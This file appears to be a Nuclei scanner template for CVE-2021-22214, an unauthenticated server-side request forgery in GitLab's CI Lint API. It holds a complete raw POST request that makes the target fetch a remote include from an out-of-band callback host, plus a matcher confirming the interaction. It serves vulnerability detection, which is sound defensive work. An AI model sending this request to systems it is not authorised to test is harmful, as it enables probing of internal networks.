nuclei-templates/cves/2021/CVE-2021-22214.yaml

31 lines
1.2 KiB
YAML
Raw Normal View History

2021-06-18 09:12:13 +00:00
id: CVE-2021-22214
info:
author: Suman_Kar
2021-06-18 09:32:17 +00:00
name: Unauthenticated Gitlab SSRF - CI Lint API
severity: medium
2021-06-18 09:12:13 +00:00
description: When requests to the internal network for webhooks are enabled, a server-side request forgery vulnerability in GitLab CE/EE affecting all versions starting from 10.5 was possible to exploit for an unauthenticated attacker even on a GitLab instance where registration is limited.
reference: |
- https://nvd.nist.gov/vuln/detail/CVE-2021-22214
2021-06-18 09:32:17 +00:00
- https://vin01.github.io/piptagole/gitlab/ssrf/security/2021/06/15/gitlab-ssrf.html
2021-06-18 09:12:13 +00:00
- https://docs.gitlab.com/ee/api/lint.html
2021-06-18 09:32:17 +00:00
tags: cve,cve2021,gitlab,ssrf,oob
requests:
- raw:
- |
2021-06-18 09:32:17 +00:00
POST /api/v4/ci/lint?include_merged_yaml=true HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0
Referer: {{BaseURL}}
content-type: application/json
Connection: close
2021-06-18 09:32:17 +00:00
{"content": "include:\n remote: http://{{interactsh-url}}/api/v1/targets?test.yml"}
matchers:
2021-06-18 09:32:17 +00:00
- type: word
part: interactsh_protocol # Confirms the DNS Interaction
words:
- "http"